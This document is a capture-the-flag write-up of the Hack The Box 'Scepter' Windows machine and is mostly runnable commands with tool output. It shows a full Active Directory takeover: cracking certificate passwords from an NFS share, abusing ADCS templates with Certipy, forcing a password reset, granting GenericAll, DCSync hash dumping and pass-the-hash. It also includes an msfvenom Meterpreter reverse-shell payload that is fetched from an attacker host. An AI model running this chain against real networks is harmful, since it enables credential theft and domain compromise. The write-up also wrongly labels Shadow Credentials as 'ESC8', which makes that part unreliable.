Scepter - Hack The Box
π¨ Follow the HTB grind in real-time β leaks, drops, and deep writeups
π t.me/nosecpwn
Don't read. Join.
Platform: Windows
IP: 10.10.11.65
Difficulty: Hard
Author: NoSec
Recon
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
111/tcp open rpcbind 2-4 (RPC #100000)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb)
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb)
2049/tcp open nlockmgr 1-4 (RPC #100021)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb)
3269/tcp open ssl/ldap
5985/tcp open http Microsoft HTTPAPI httpd 2.0
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0
Service Info: Host: DC01; OS: Windows
Preparation
-
Editing the hosts file
bash sudo nano /etc/hosts
10.10.11.65 dc01.scepter.htb scepter.htb
-
Clock skew (time synchronization)
bash sudo rdate -n scepter.htb
NFS Share & Certificates
NFS is accessible, let's mount it:
showmount -e 10.10.11.65
Export list for 10.10.11.65:
/helpdesk (everyone)
mkdir /tmp/helpdesk
sudo mount -t nfs 10.10.11.65:/helpdesk /tmp/helpdesk
ls -l /tmp/helpdesk
Found files: - baker.crt - baker.key - clark.pfx - lewis.pfx - scott.pfx
Cracking password for PFX:
pfx2john clark.pfx > clark.hash
john --wordlist=/usr/share/wordlists/rockyou.txt clark.hash
Password: ne*********
Unlocking baker.key
openssl rsa -in baker.key -out baker.plain.key
baker.key + baker.crt β pfx:
sudo openssl pkcs12 -export -out baker.pfx -inkey baker.plain.key -in baker.crt
Certipy authentication with baker.pfx
certipy auth -pfx baker.pfx -username d.baker -dc-ip 10.10.11.65
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'd.baker@scepter.htb'
[*] Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-1106'
[*] Using principal: 'd.baker@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'd.baker.ccache'
[*] Wrote credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for 'd.baker@scepter.htb': aad3b435b
Getting TGT, dumping hash, exporting .ccache:
export KRB5CCNAME=d.baker.ccache
Certipy find & obtaining new cert
certipy find -k -no-pass -dc-ip 10.10.11.65 -target dc01.scepter.htb
certipy req -u 'd.baker@scepter.htb' -dc-ip 10.10.11.65 -dc-host dc01.scepter.htb -target dc01.scepter.htb -ca 'scepter-DC01-CA' -template 'User' -k -no-pass
Bloodhound & Privilege Escalation Chain
Running BloodHound:
sudo bloodhound-python \
-u 'd.baker' \
-d scepter.htb \
-k -no-pass \
-dc dc01.scepter.htb \
-ns 10.10.11.65 \
--dns-tcp \
--disable-autogc \
-c all --zip
Finding:
- d.baker user can force change password on a.carter.
Force Change Password - a.carter user
Certipy auth with new NT hash and ccache
certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65
export KRB5CCNAME=d.baker.ccache
Changing a.carter's password in rpcclient
pth-rpcclient -U 'SCEPTER\d.baker%aad3b4...:18b5fb...' 10.10.11.65 -c "setuserinfo2 a.carter 23 'NoSecHere!'"
GGenericAll on StaffAccessCertificate OU
bloodyAD -d scepter.htb -u a.carter -p 'NoSecHere!' --host dc01.scepter.htb --dc-ip 10.10.11.65 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" a.carter
[+] a.carter has now GenericAll on OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB
StaffAccessCertificate template abuse
certipy req -username "d.baker@scepter.htb" -hashes :18b5fb... -target "dc01.scepter.htb" -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate'
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 7
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'd.baker.pfx'
Getting NT hash for h.brown
certipy auth -pfx d.baker.pfx -domain scepter.htb -dc-ip 10.10.11.65 -username h.brown
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[!] Could not find identification in the provided certificate
[*] Using principal: h.brown@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for 'h.brown@scepter.htb': aad3b435b5
Hash: aad3b4...:4ecf52...
Editing krb5.conf
[libdefaults]
default_realm = SCEPTER.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
[realms]
SCEPTER.HTB = {
kdc = dc01.scepter.htb
admin_server = dc01.scepter.htb
}
[domain_realm]
.scepter.htb = SCEPTER.HTB
scepter.htb = SCEPTER.HTB
Exporting h.brownβs ccache file
export KRB5CCNAME=h.brown.ccache
evil-winrm with h.brown
evil-winrm -i dc01.scepter.htb -u h.brown
User flag done!
Creating the payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.8 LPORT=4444 -f exe -o dara.exe
Downloading to target
Invoke-WebRequest -Uri "http://10.10.14.8/dara.exe" -OutFile "dara.exe"
Setting up msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.14.8
lhost => 10.10.14.8
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
Privilege escalation β creating new machine account, Shadow Credentials
bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p 'NoSecHere!' --dc-ip 10.10.11.65 add computer nosecpc 'Password123'
[+] nosecpc created
Checking exact CA and Template name
certipy find -u 'nosecpc$' -p 'Password123' -target 10.10.11.65
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Trying to get CA configuration for 'scepter-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'scepter-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'scepter-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'scepter-DC01-CA'
[-] Got error: module 'enum' has no attribute '_decompose'
[-] Use -debug to print a stacktrace
Certipy find + req β obtain machine certificate
certipy req -ca scepter-DC01-CA -template Machine -target 10.10.11.65 -username 'nosecpc$' -password 'Password123'
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 9
[*] Got certificate with DNS Host Name 'nosecpc.scepter.htb'
[*] Certificate object SID is 'S-1-5-21-74879546-916818434-740295365-9101'
[*] Saved certificate and private key to 'nosecpc.pfx'
Getting the cert
certipy cert -pfx meow.pfx -nokey -out nosecpc.crt
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Writing certificate and to 'nosecpc.crt'
**openssl x509 -in nosecpc.crt -noout -serial -issuer**
serial=6200000009929668CFF0981AD8000000000009
issuer=DC=htb, DC=scepter, CN=scepter-DC01-CA
Converting to colon-separated hex string
echo 6200000009929668CFF0981AD8000000000009 | sed 's/../&:/g;s/:$//'
Generating X509 string (Python)
import argparse
def convert(serial, issuer):
serial = serial.replace(':', '').lower()
serial_bytes = bytearray.fromhex(serial)
serial_bytes.reverse()
serial_hex = ''.join(['%02x' % b for b in serial_bytes])
issuer_parts = issuer.split(',')
issuer_parts = [p.strip() for p in issuer_parts]
issuer_parts.reverse()
issuer_str = ','.join(issuer_parts)
print(f"X509:<I>{issuer_str}<SR>{serial_hex}")
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-serial', required=True, help='Certificate serial (colon separated)')
parser.add_argument('-issuer', required=True, help='Certificate issuer')
args = parser.parse_args()
convert(args.serial, args.issuer)
Run:
python3 conv.py -serial 62:00:00:00:09:92:96:68:CF:F0:98:1A:D8:00:00:00:00:00:09 -issuer "DC=htb, DC=scepter, CN=scepter-DC01-CA"
Example output:
X509:<I>DC=htb,DC=scepter,CN=scepter-DC01-CA<SR>090000000000d81a98f0cf6896920900000062
PowerShell: setting altSecurityIdentities, defining $map variable
$map = 'X509:<I>DC=htb,DC=scepter,CN=scepter-DC01-CA<SR>090000000000d81a98f0cf6896920900000062'
Set-ADUser p.adams -Replace @{altSecurityIdentities=$map}
Certipy auth as p.adams
certipy auth -pfx nonamepc.pfx -dc-ip 10.10.11.65 -username p.adams
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] The provided username does not match the identification found in the provided certificate: 'P.ADAMS' - 'meow$'
Do you want to continue? (Y/n) y
[*] Using principal: p.adams@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for 'p.adams@scepter.htb': aad3b435b5
Hash: aad3b4...:1b925c...
DCSync (ADDC hash dump)
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -just-dc -hashes aad3b4...:1b925c... scepter.htb/p.adams@10.10.11.65
Pass-the-Hash Admin shell
evil-winrm -i 10.10.11.65 -u Administrator -H a291ea...
Root flag done!
Notes & Explanation
What did I learn from this machine?
- ADCS/PKI attack chain: I went step-by-step through the full chain: NFS share β certificate decryption β user & machine cert β shadow credentials β DCSync β Pass-the-Hash.
- Using BloodHound: Almost every privilege escalation opportunity was revealed here; from that point, the whole chain was BloodHound-based.
- Certificate abuse: It was especially interesting to see how quickly GenericAll rights can lead to full domain compromise.
- AD privilege modeling: Every delegation, OU, and attribute permission was exploitable β even the test mail write was a useful signal.
- Shadow Credentials (ESC8): A modern and real-world attack technique β definitely relevant in live AD environments.
- Scripting (conv.py): A simple Python script can save you a ton of manual pain when dealing with ADCS X509 string transformations.
Mistakes, Pitfalls, Tips
- Time sync is mandatory!
If your system clock is off, every Kerberos/PKINIT step will throw errors. - Certipy and bloodyAD versions matter
Some commands may differ between old/new Certipy. Always update or install from source. - Never trust default permissions
A misconfigured GenericAll or Write right can compromise the entire domain. - Always test write access before touching critical attributes
(e.g. mail write test β if that works, shadow creds will too).
Summary
Scepter is a perfect example of how a βsimpleβ NFS share combined with a few ADCS misconfigurations
can lead to full Active Directory compromise using modern tools.
The box walks you through both classic and modern privilege escalation techniques,
while teaching you about ADCS, LDAP, privilege management,
and the BloodHound ecosystem at every step.
- User flag: ADCS abuse, reset, privilege escalation
- Root flag: Shadow credentials, DCSync hash dump, PTH admin shell
Highly recommended for anyone interested in AD privilege escalation, certificate abuse,
or Red Teaming in general!
By NoSec
If you have questions or want more explanation, feel free to reach out!